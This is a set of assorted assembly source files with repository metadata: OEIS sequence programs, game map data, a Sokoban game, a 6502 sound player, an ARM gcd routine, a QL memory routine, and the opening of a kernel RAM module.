00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
TheStack
0b4d46f41b05984baa8144cbe034fa8ecb7dba81
Assemblycode:Assembly
{"size": 400, "ext": "asm", "max_stars_repo_path": "programs/oeis/336/A336257.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/336/A336257.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/336/A336257.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"}
{"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 36.3636363636, "max_line_length": 289, "alphanum_fraction": 0.615}
; A336257: a(n) = Catalan(n) mod (2*n+1). ; 0,1,2,5,5,9,2,9,2,17,17,21,12,22,2,29,18,30,2,30,2,41,30,45,9,21,2,54,53,57,2,28,38,65,42,69,2,64,70,77,5,81,80,33,2,14,27,45,2,36,2,101,87,105,2,78,2,34,75,6,101,45,62,125,39,129,74,60,2,137,90,88,70,144,2,149,72,50,2,57,98,161,110,165,158,145,2,140,114,177,2,4,160,11,161,189,2,0,2,197 mov $2,$0 mul $0,2 mov $1,$0 bin $0,$2 mul $0,2 add $1,1 mod $0,$1
TheStack
8c2444f8b00de45138e38b04b8e4f7192d7b5166
Assemblycode:Assembly
{"size": 536, "ext": "asm", "max_stars_repo_path": "data/mapObjects/ssanne6.asm", "max_stars_repo_name": "adhi-thirumala/EvoYellow", "max_stars_repo_stars_event_min_datetime": "2018-08-28T21:47:01.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-20T20:29:59.000Z", "max_issues_repo_path": "data/mapObjects/ssanne6.asm", "max_issues_repo_name": "adhi-thirumala/EvoYellow", "max_issues_repo_issues_event_min_datetime": "2019-04-03T19:53:11.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-11T22:49:34.000Z", "max_forks_repo_path": "data/mapObjects/ssanne6.asm", "max_forks_repo_name": "adhi-thirumala/EvoYellow", "max_forks_repo_forks_event_min_datetime": "2019-12-09T19:46:02.000Z", "max_forks_repo_forks_event_max_datetime": "2020-12-05T21:36:30.000Z"}
{"max_stars_count": 16, "max_issues_count": 5, "max_forks_count": 2, "avg_line_length": 26.8, "max_line_length": 52, "alphanum_fraction": 0.6268656716}
SSAnne6Object: db $c ; border block db $1 ; warps db $0, $6, $a, SS_ANNE_1 db $0 ; signs db $7 ; objects object SPRITE_COOK, $1, $8, WALK, $1, $1 ; person object SPRITE_COOK, $5, $8, WALK, $1, $2 ; person object SPRITE_COOK, $9, $7, WALK, $1, $3 ; person object SPRITE_COOK, $d, $6, STAY, NONE, $4 ; person object SPRITE_COOK, $d, $8, STAY, NONE, $5 ; person object SPRITE_COOK, $d, $a, STAY, NONE, $6 ; person object SPRITE_COOK, $b, $d, STAY, UP, $7 ; person ; warp-to EVENT_DISP SS_ANNE_6_WIDTH, $0, $6 ; SS_ANNE_1
TheStack
5b432f51e3ae4adb49fc88263f7c0c677ffbd6ee
Assemblycode:Assembly
{"size": 1180, "ext": "asm", "max_stars_repo_path": "Sim/primes.asm", "max_stars_repo_name": "ericsims/16B", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Sim/primes.asm", "max_issues_repo_name": "ericsims/16B", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Sim/primes.asm", "max_forks_repo_name": "ericsims/16B", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 20.3448275862, "max_line_length": 86, "alphanum_fraction": 0.6669491525}
#include "CPU.asm" #bank ram testnum_ptr: #res 1 divisor_ptr: #res 1 #bank rom top: sti 0x05, testnum_ptr ; load first test number testn: lda testnum_ptr rrc sta divisor_ptr ; set first divisor to half test_num testt: lda testnum_ptr sta mult_A lda divisor_ptr sta mult_B cal divide ; divide testnum_ptr by divisor_ptr lda mult_A ; remainder lbi 0x00 add jmz nextn ; if divisor_ptr was a factor jump to next test number ;jmp nextt_nd ; otherwise, try the next divisor nextt_nd: lda divisor_ptr lbi 0x01 sub ; subtract 1 from the divisor and store back to divisor_ptr sta divisor_ptr sub jnz testt ; if the divisor is >1 test it lda testnum_ptr ; otherwise, we have checked all divisors and the number is prime! sta UART ; print it to console ;jmp nextn ; then check the next test number nextn: lda testnum_ptr ; incrmente test number by 2 (only odds >2 can be prime) lbi 0x02 add jmc hlt ; if we have passed 255, halt the program sta testnum_ptr ; store test number jmp testn ; test it hlt: hlt #include "math.asm"
TheStack
b90f8efdb244da06a7a2e5bd7a129376ea7c8a3d
Assemblycode:Assembly
{"size": 10141, "ext": "asm", "max_stars_repo_path": "SokobanGame/Sokoban.asm", "max_stars_repo_name": "merino22/Sokoban-Game", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "SokobanGame/Sokoban.asm", "max_issues_repo_name": "merino22/Sokoban-Game", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "SokobanGame/Sokoban.asm", "max_forks_repo_name": "merino22/Sokoban-Game", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 21.7618025751, "max_line_length": 67, "alphanum_fraction": 0.5698649048}
.data str1: .byte "Welcome to Sokoban!", 0 str2: .byte "Play Game", 0 str3: .byte "Quit Game", 0 str4: .byte "Selection Option: ", 0 str5: .byte "Exiting Game... Thank you for Playing!", 0 kb_count_str: .byte "Move Counter: ", 0 lvl_str: .byte "Level: ", 0 instruc: .byte "Instructions", 0 accept_msg: .byte "Press Space to Return to Main Menu", 0 .text start: addi $sp, $sp, -372 sw $ra, 324($sp) while_start: ; --> Menu while loop li $v0, 53 syscall li $v0, 52 syscall li $v0, 28 li $a0, 6 syscall li $v0, 29 li $a0, 0 syscall li $v0, 39 syscall li $v0, 28 li $a0, 6 syscall li $v0, 51 li $a1, 35 li $a2, 15 syscall li $v0, 4 li $a0, str2 syscall li $v0, 51 li $a1, 35 li $a2, 16 syscall li $v0, 4 li $a0, instruc syscall li $v0, 51 li $a1, 35 li $a2, 17 syscall li $v0, 4 li $a0, str3 syscall li $v0, 51 li $a1, 33 li $a2, 15 syscall li $v0, 11 li $a0, 62 syscall if_kb_menu: ; --> Logic for menu selection li $v0, 31 syscall ;#show $v0 sw $v0, 360($sp) li $v0, 51 syscall li $v0, 11 li $a0, 32 syscall lw $v0, 360($sp) if_kb_enter: li $t0, 10 bne $t0, $v0, if_kb_menu_1 li $t0, 15 ;#show $a2 bne $a2, $t0, if_kb_instruct j if_play if_kb_instruct: li $t0, 16 bne $a2, $t0, if_kb_exit jal printInstruc j while_start if_kb_exit: li $t0, 17 ;#show $a2 bne $a2, $t0, if_kb_menu_1 j if_exit if_kb_menu_1: li $t0, 119 bne $t0, $v0, if_kb_menu_2 li $t0, 15 beq $a2, $t0, end_kb_menu addi $a2, $a2, -1 li $v0, 51 syscall li $v0, 11 li $a0, 62 syscall j if_kb_menu if_kb_menu_2: li $t0, 115 bne $t0, $v0, end_kb_menu li $t0, 17 beq $a2, $t0, end_kb_menu addi $a2, $a2, 1 li $v0, 51 syscall li $v0, 11 li $a0, 62 syscall j if_kb_menu end_kb_menu: li $v0, 11 li $a0, 62 syscall j while_start end_while_start: move $t1, $v0 li $t0, 2 if_exit: ; --> If quit game option is choosen li $v0, 30 syscall li $v0, 53 syscall li $v0, 4 li $a0, str5 syscall li $v0, 11 li $a0, 10 syscall li $v0, 10 syscall if_play: ; --> If play game option is choosen li $s1, 0 li $t1, 29 ; --> x li $t2, 13 ; --> y li $s0, 1 ; --> currentLevel li $v0, 52 ; --> call rlutil::hidecursor() syscall li $v0, 30 syscall li $v0, 53 ; --> call rlutil::cls() syscall li $v0, 51 ; --> call rlutil::locate(x,y) move $a1, $t1 move $a2, $t2 syscall jal generateMap ; --> Pass map to be played onto stack jal printMap ; --> Print map from values stored in stack jal printLvlCounter ; --> Print current level to screen li $v0, 51 ; --> call rlutil::locate(x,y) li $a1, 29 li $a2, 13 syscall while_play: ; --> Play while loop li $v0, 52 ; --> call rlutil::hidecursor() syscall if_lvl_passed: ; --> Check if level has been passed jal checkLevelPassed li $t0, 10 ; --> Winning condition variable ;#show $v0 beq $v0, $zero, end_if_lvl_passed beq $s0, $t0, game_finished ; --> winning condition addi $s0, $s0, 1 if_lvl_1: li $s1, 0 li $t0, 1 bne $s0, $t0, end_if_lvl_1 li $v0, 30 ; --> call rlutil::resetColor() syscall li $v0, 53 ; --> call rlutil::cls() syscall jal generateMap jal printMap jal printLvlCounter li $v0, 51 ; --> call rlutil::locate(x,y) li $a1, 29 li $a2, 13 syscall j end_if_lvl_passed end_if_lvl_1: if_lvl_2: li $s1, 0 li $t0, 2 bne $s0, $t0, end_if_lvl_2 li $v0, 30 ; --> call rlutil::resetColor() syscall li $v0, 53 ; --> call rlutil::cls() syscall jal generateMap jal printMap jal printLvlCounter li $v0, 51 ; --> call rlutil::locate(x,y) li $a1, 22 li $a2, 7 syscall j end_if_lvl_passed end_if_lvl_2: if_lvl_3: li $s1, 0 li $t0, 3 bne $s0, $t0, end_if_lvl_3 li $v0, 30 ; --> call rlutil::resetColor() syscall li $v0, 53 ; --> call rlutil::cls() syscall jal generateMap jal printMap jal printLvlCounter li $v0, 51 ; --> call rlutil::locate(x,y) li $a1, 15 li $a2, 7 syscall j end_if_lvl_passed end_if_lvl_3: if_lvl_4: li $s1, 0 li $t0, 4 bne $s0, $t0, end_if_lvl_4 li $v0, 30 ; --> call rlutil::resetColor() syscall li $v0, 53 ; --> call rlutil::cls() syscall jal generateMap jal printMap jal printLvlCounter li $v0, 51 ; --> call rlutil::locate(x,y) li $a1, 15 li $a2, 4 syscall j end_if_lvl_passed end_if_lvl_4: if_lvl_5: li $s1, 0 li $t0, 5 bne $s0, $t0, end_if_lvl_5 li $v0, 30 ; --> call rlutil::resetColor() syscall li $v0, 53 ; --> call rlutil::cls() syscall jal generateMap jal printMap jal printLvlCounter li $v0, 51 ; --> call rlutil::locate(x,y) li $a1, 8 li $a2, 10 syscall j end_if_lvl_passed end_if_lvl_5: if_lvl_6: li $s1, 0 li $t0, 6 bne $s0, $t0, end_if_lvl_6 li $v0, 30 ; --> call rlutil::resetColor() syscall li $v0, 53 ; --> call rlutil::cls() syscall jal generateMap jal printMap jal printLvlCounter li $v0, 51 ; --> call rlutil::locate(x,y) li $a1, 36 li $a2, 4 syscall j end_if_lvl_passed end_if_lvl_6: if_lvl_7: li $s1, 0 li $t0, 7 bne $s0, $t0, end_if_lvl_7 li $v0, 30 ; --> call rlutil::resetColor() syscall li $v0, 53 ; --> call rlutil::cls() syscall jal generateMap jal printMap jal printLvlCounter li $v0, 51 ; --> call rlutil::locate(x,y) li $a1, 22 li $a2, 19 syscall j end_if_lvl_passed end_if_lvl_7: if_lvl_8: li $s1, 0 li $t0, 8 bne $s0, $t0, end_if_lvl_8 li $v0, 30 ; --> call rlutil::resetColor() syscall li $v0, 53 ; --> call rlutil::cls() syscall jal generateMap jal printMap jal printLvlCounter li $v0, 51 ; --> call rlutil::locate(x,y) li $a1, 22 li $a2, 4 syscall j end_if_lvl_passed end_if_lvl_8: if_lvl_9: li $s1, 0 li $t0, 9 bne $s0, $t0, end_if_lvl_9 li $v0, 30 ; --> call rlutil::resetColor() syscall li $v0, 53 ; --> call rlutil::cls() syscall jal generateMap jal printMap jal printLvlCounter li $v0, 51 ; --> call rlutil::locate(x,y) li $a1, 22 li $a2, 16 syscall j end_if_lvl_passed end_if_lvl_9: if_lvl_10: li $s1, 0 li $t0, 10 bne $s0, $t0, end_if_lvl_10 li $v0, 30 ; --> call rlutil::resetColor() syscall li $v0, 53 ; --> call rlutil::cls() syscall jal generateMap jal printMap jal printLvlCounter li $v0, 51 ; --> call rlutil::locate(x,y) li $a1, 22 li $a2, 16 syscall end_if_lvl_10: end_if_lvl_passed: li $v0, 31 ;--> call kbhit() syscall li $t0, 31 ;#show $v0 if_kbhit: ; --> Check if any key has been hit beq $v0, $t0, end_if_kbhit sw $v0, 360($sp) li $v0, 51 ;--> call rlutil::locate syscall jal ErasePlayer ; --> Erase player from board lw $v0, 360($sp) if_kb_a: ; --> Move Left li $t3, 97 bne $v0, $t3, if_kb_d li $a3, -7 jal checkPosX ; --> check if x has valid movement beq $v0, $zero, if_kb_end jal checkBoxSpot ; --> check if boxspot available & repaints it addi $a1, $a1, -7 ; decrement on x movement addi $s1, $s1, 1 j if_kb_end if_kb_d: ; --> Move Right li $t3, 100 bne $v0, $t3, if_kb_w li $a3, 7 jal checkPosX ; --> check if x has valid movement beq $v0, $zero, if_kb_end jal checkBoxSpot ; --> check if boxspot available & repaints it addi $a1, $a1, 7 ; increment on x movement addi $s1, $s1, 1 j if_kb_end if_kb_w: ; --> Move Up li $t3, 119 bne $v0, $t3, if_kb_s li $a3, -3 jal checkPosY ; --> check if y has valid movement beq $v0, $zero, if_kb_end jal checkBoxSpot ; --> check if boxspot available & repaints it addi $a2, $a2, -3 ; decrement on y movement addi $s1, $s1, 1 j if_kb_end if_kb_s: ; --> Move Down li $t3, 115 bne $v0, $t3, if_kb_space li $a3, 3 jal checkPosY ; --> check if y has valid movement beq $v0, $zero, if_kb_end jal checkBoxSpot ; --> check if boxspot available & repaints it addi $a2, $a2, 3 ; increment on y movement addi $s1, $s1, 1 if_kb_space: ; --> Restart level li $t3, 32 bne $v0, $t3, if_kb_esc j if_lvl_1 if_kb_esc: ; --> End game, jump back to main menu li $t3, 27 bne $v0, $t3, if_kb_end j while_start if_kb_end: li $v0, 51 ; --> rlutil::locate(x,y) syscall jal Player ; Print player on board sw $a1, 364($sp) sw $a2, 368($sp) jal RepaintBoxes ; Repaint boxes if any have been moved li $v0, 30 ; --> Reset colors syscall li $v0, 51 ; --> Call rlutil::locate(x, y) for move counter li $a1, 35 li $a2, 29 syscall li $v0, 4 li $a0, kb_count_str ; --> Print move counter syscall li $v0, 1 move $a0, $s1 syscall lw $a1, 364($sp) ; --> Load x value from stack lw $a2, 368($sp) ; --> Load y value from stack end_if_kbhit: j while_play end_while_play: game_finished: ; --> Winning Condition Satisfied li $v0, 30 ; --> call rlutil::resetColor() syscall li $v0, 53 ; --> call rlutil::cls() syscall li $v0, 28 ; --> call rlutil::setColor() li $a0, 6 syscall li $v0, 29 ; --> call rlutil::setBackgroundColor() li $a0, 0 syscall li $v0, 40 ; --> Call winner screen syscall li $v0, 51 li $a1, 10 li $a2, 10 syscall li $v0, 4 li $a0, accept_msg syscall while_win_screen: ; --> Display of Winner Screen li $v0, 31 syscall li $t0, 32 beq $v0, $t0, end_while_win_screen j while_win_screen end_while_win_screen: j start exit_true: lw $ra, 324($sp) addi $sp, $sp, 372 jr $ra
TheStack
e18bbed5af65ab78d589f932e65894b10f9675d4
Assemblycode:Assembly
{"size": 422, "ext": "asm", "max_stars_repo_path": "libsrc/_DEVELOPMENT/string/z80/asm_bcopy.asm", "max_stars_repo_name": "meesokim/z88dk", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "libsrc/_DEVELOPMENT/string/z80/asm_bcopy.asm", "max_issues_repo_name": "meesokim/z88dk", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "libsrc/_DEVELOPMENT/string/z80/asm_bcopy.asm", "max_forks_repo_name": "meesokim/z88dk", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 17.5833333333, "max_line_length": 61, "alphanum_fraction": 0.5355450237}
; BSD ; void bcopy(const void *src, void *dst, size_t len) SECTION code_string PUBLIC asm_bcopy EXTERN asm_memcpy defc asm_bcopy = asm_memcpy ; enter : bc = size_t len ; hl = void *s2 = src ; de = void *s1 = dst ; ; exit : hl = void *s1 = dst ; de = ptr in s1 to one byte past last byte copied ; bc = 0 ; carry reset ; ; uses : af, bc, de, hl
TheStack
3235112d5cd757c816bcabff6e22157d95be2570
Assemblycode:Assembly
{"size": 2834, "ext": "asm", "max_stars_repo_path": "src/MC6840-PLAY/MC6840-PLAY.asm", "max_stars_repo_name": "kuninet/K65-SBC", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/MC6840-PLAY/MC6840-PLAY.asm", "max_issues_repo_name": "kuninet/K65-SBC", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/MC6840-PLAY/MC6840-PLAY.asm", "max_forks_repo_name": "kuninet/K65-SBC", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 15.5714285714, "max_line_length": 38, "alphanum_fraction": 0.4872971066}
; ; MC6840 PLAY ; Universal Minitor for 6502 ; CPU 6502 TARGET: EQU "6502" ; ;;; Functions low function x,(x & 255) high function x,(x >> 8) ; STROUT EQU $FF98 PT0 EQU $28 ; ; MC6840 PTM Address ; ORG $8030 PTM_CR13 RMB 1 PTM_CR2 RMB 1 PTM_MSBT1 RMB 1 PTM_T1LSB RMB 1 PTM_MSBT2 RMB 1 PTM_T2LSB RMB 1 PTM_MSBT3 RMB 1 PTM_T3LSB RMB 1 ; org $0200 MAIN: JSR PRINT_START ; JSR INIT_6840 ; JSR PLAY ; LDA #$00 STA PTM_MSBT1 STA PTM_T1LSB STA PTM_MSBT2 STA PTM_T2LSB STA PTM_MSBT3 STA PTM_T3LSB ; JSR PRINT_END BRK ; PLAY: LDA #$8 STA PLAY_CNT LDX #$00 STX WK_X ; PLAY_LOOP: JSR SOUND_OUT DEC PLAY_CNT BNE PLAY_LOOP ; RTS ; SOUND_OUT: LDX WK_X INX LDA S_DO1,X STA PTM_MSBT2 DEX LDA S_DO1,X STA PTM_T2LSB INX INX STX WK_X JSR WAIT RTS ; INIT_6840: LDA #$01 STA PTM_CR2 STA PTM_CR13 ; LDA #$FF STA PTM_MSBT1 STA PTM_T1LSB STA PTM_MSBT2 STA PTM_T2LSB STA PTM_MSBT3 STA PTM_T3LSB ; LDA #$82 STA PTM_CR2 LDA PTM_CR13 LDA #$93 STA PTM_CR2 LDA #$82 STA PTM_CR13 ; RTS ; WAIT: LDA #$FF STA TIMER1 W_LOOP1: LDA #$FF STA TIMER2 W_LOOP2: NOP NOP DEC TIMER2 BNE W_LOOP2 ; DEC TIMER1 BNE W_LOOP1 ; RTS ; PRINT_START: LDA #low(START_MSG) STA PT0 LDA #high(START_MSG) STA PT0+1 JSR STROUT RTS ; PRINT_END: LDA #low(END_MSG) STA PT0 LDA #high(END_MSG) STA PT0+1 JSR STROUT RTS ; BRK ; PROGRAM END ; ; SOUND DEFINE ; S_DO1 FDB $0DC2 ;S_DO1S FDB $0CFC S_RE1 FDB $0C42 ;S_RE1S FDB $0B92 S_MI1 FDB $0AEB S_FA1 FDB $0A4E ;S_FA1S FDB $09BA S_SO1 FDB $092F ;S_SO1S FDB $08AB S_RA1 FDB $082E ;S_RA1S FDB $07B8 S_SI1 FDB $074A S_DO2 FDB $06E1 ;S_DO2S FDB $067E ;S_RE2 FDB $0621 ;S_RE2S FDB $05C9 ;S_MI2 FDB $0575 ;S_FA2 FDB $0527 ;S_FA2S FDB $04DD ;S_SO2 FDB $0497 ;S_SO2S FDB $0455 ;S_RA2 FDB $0417 ;S_RA2S FDB $03DC ;S_SI2 FDB $03A5 ;S_DO3 FDB $0370 ; ; ; MSG DEFINE ; START_MSG FCB "PLAY START",$0D,$0A,$00 END_MSG FCB "PLAY END",$0D,$0A,$00 ; ; WORK AREA ; org $30 ; TIMER1 RMB 1 TIMER2 RMB 1 ; PLAY_CNT RMB 1 WK_X RMB 1 END
TheStack
3ebc568bb18164829f3ff6b871f303261ea879a2
Assemblycode:Assembly
{"size": 293, "ext": "asm", "max_stars_repo_path": "test/e2e/gcd.conditional.asm", "max_stars_repo_name": "matanlurey/armv4t.dart", "max_stars_repo_stars_event_min_datetime": "2020-06-21T22:05:00.000Z", "max_stars_repo_stars_event_max_datetime": "2021-10-06T19:59:20.000Z", "max_issues_repo_path": "test/e2e/gcd.conditional.asm", "max_issues_repo_name": "matanlurey/armv4t.dart", "max_issues_repo_issues_event_min_datetime": "2020-06-21T22:02:00.000Z", "max_issues_repo_issues_event_max_datetime": "2020-08-04T01:48:42.000Z", "max_forks_repo_path": "test/e2e/gcd.conditional.asm", "max_forks_repo_name": "matanlurey/armv4t.dart", "max_forks_repo_forks_event_min_datetime": "2020-06-22T15:16:02.000Z", "max_forks_repo_forks_event_max_datetime": "2020-06-22T15:16:02.000Z"}
{"max_stars_count": 8, "max_issues_count": 82, "max_forks_count": 1, "avg_line_length": 29.3, "max_line_length": 73, "alphanum_fraction": 0.5631399317}
; ARM MODE. code32 processor CPU32_V1 gcd: CMP r0, r1 ; set condition codes based on r0 - r1 SUBGT r0, r0, r1 ; if not zero and signed == overflow, r0 = r0 - 1 SUBLT r1, r1, r0 ; if signed != overflow, r1 = r1 - r0 BNE gcd ; if not zero, goto gcd
TheStack
593caa21771a34dc531c6ef841fb341b92e92d8b
Assemblycode:Assembly
{"size": 1314, "ext": "asm", "max_stars_repo_path": "smsq/mem/free.asm", "max_stars_repo_name": "olifink/smsqe", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "smsq/mem/free.asm", "max_issues_repo_name": "olifink/smsqe", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "smsq/mem/free.asm", "max_forks_repo_name": "olifink/smsqe", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 20.8571428571, "max_line_length": 77, "alphanum_fraction": 0.6499238965}
* Find free space in common heap / TPA V3.10  1986 Tony Tebby QJUMP * 2002 Marcel Kilgus * * 2002-05-20 3.10 Previously just returned the size of the common heap gap, * now scans the free block list of chp and tpa for the * largest one (MK) * section mem * xdef mem_frch xdef mem_frtp * xref sms_rte * include dev8_keys_sys include dev8_keys_sbt include dev8_keys_chp * * d0 rs 0, no errors * d1 r free space, limited to 64K default * a6 c p pointer to system vars * * all other registers preserved * ************************************************* * NOTE: returns directly through SMS return ************************************************* * mem_frtp mem_frch move.l sys_sbab(a6),d1 ; first calculate gap sub.l sys_fsbb(a6),d1 sub.l #$400,d1 ; two slave blocks spare bgt.s mfr_scanlists moveq #0,d1 ; no room in gap mfr_scanlists lea sys_chpf-chp_nxfr(a6),a2 ; scan free space lists bsr.s mfr_scan lea sys_tpaf-chp_nxfr(a6),a2 bsr.s mfr_scan cmp.l sys_mxfr(a6),d1 ; more than max? ble.s mfr_ok ; ... no move.l sys_mxfr(a6),d1 mfr_ok moveq #0,d0 bra.l sms_rte mfr_scan move.l chp_nxfr(a2),d0 ; next beq.s mfr_scanend add.l d0,a2 move.l chp_len(a2),d0 ; length cmp.l d0,d1 bgt.s mfr_scan move.l d0,d1 bra.s mfr_scan mfr_scanend rts end
TheStack
7afd3a6c188769f97b4db820e8b9bd61ec2e0e84
Assemblycode:Assembly
{"size": 808, "ext": "asm", "max_stars_repo_path": "oeis/142/A142324.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/142/A142324.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/142/A142324.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"}
{"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 36.7272727273, "max_line_length": 497, "alphanum_fraction": 0.7277227723}
; A142324: Primes congruent to 23 mod 45. ; Submitted by Jon Maiga ; 23,113,293,383,563,653,743,1013,1103,1193,1283,1373,1553,1733,1823,1913,2003,2273,2543,2633,2903,3083,3533,3623,3803,4073,4253,4523,4703,4793,4973,5153,5333,5693,5783,6053,6143,6323,6863,7043,7583,7673,7853,8123,8573,8663,8753,8933,9203,9293,9473,9743,9833,9923,10103,10193,10463,10733,11003,11093,11273,11633,11813,11903,12263,12713,12893,12983,13163,13523,13613,13883,14153,14243,14423,14783,15053,15233,15413,15683,15773,16223,16493,16673,16763,16943,17033,17123,17393,17483,17573,18743,19013 mov $2,$0 add $2,6 pow $2,2 lpb $2 mov $3,$4 add $3,22 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 mov $1,$0 max $1,0 cmp $1,$0 mul $2,$1 sub $2,1 add $4,45 lpe mov $0,$4 add $0,23
TheStack
71f05c479e081c09a60bddbf86ac6501cd28969e
Assemblycode:Assembly
{"size": 6629, "ext": "asm", "max_stars_repo_path": "kernel/ram.asm", "max_stars_repo_name": "iocoder/upcr", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "kernel/ram.asm", "max_issues_repo_name": "iocoder/upcr", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "kernel/ram.asm", "max_forks_repo_name": "iocoder/upcr", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 36.027173913, "max_line_length": 81, "alphanum_fraction": 0.3443958365}
;############################################################################### ;# File name: KERNEL/RAM.ASM ;# DESCRIPTION: KERNEL PHYSICAL MEMORY MODULE ;# AUTHOR: RAMSES A. ;############################################################################### ;# ;# UPCR OPERATING SYSTEM FOR X86_64 ARCHITECTURE ;# COPYRIGHT (C) 2021 RAMSES A. ;# ;# PERMISSION IS HEREBY GRANTED, FREE OF CHARGE, TO ANY PERSON OBTAINING A COPY ;# OF THIS SOFTWARE AND ASSOCIATED DOCUMENTATION FILES (THE "SOFTWARE"), TO DEAL ;# IN THE SOFTWARE WITHOUT RESTRICTION, INCLUDING WITHOUT LIMITATION THE RIGHTS ;# TO USE, COPY, MODIFY, MERGE, PUBLISH, DISTRIBUTE, SUBLICENSE, AND/OR SELL ;# COPIES OF THE SOFTWARE, AND TO PERMIT PERSONS TO WHOM THE SOFTWARE IS ;# FURNISHED TO DO SO, SUBJECT TO THE FOLLOWING CONDITIONS: ;# ;# THE ABOVE COPYRIGHT NOTICE AND THIS PERMISSION NOTICE SHALL BE INCLUDED IN ALL ;# COPIES OR SUBSTANTIAL PORTIONS OF THE SOFTWARE. ;# ;############################################################################### ;# ;# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ;# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ;# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ;# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ;# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ;# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ;# SOFTWARE. ;# ;############################################################################### ;############################################################################### ;# INCLUDES # ;############################################################################### ;# COMMON DEFINITIONS USED BY KERNEL INCLUDE "kernel/macro.inc" ;############################################################################### ;# GLOBALS # 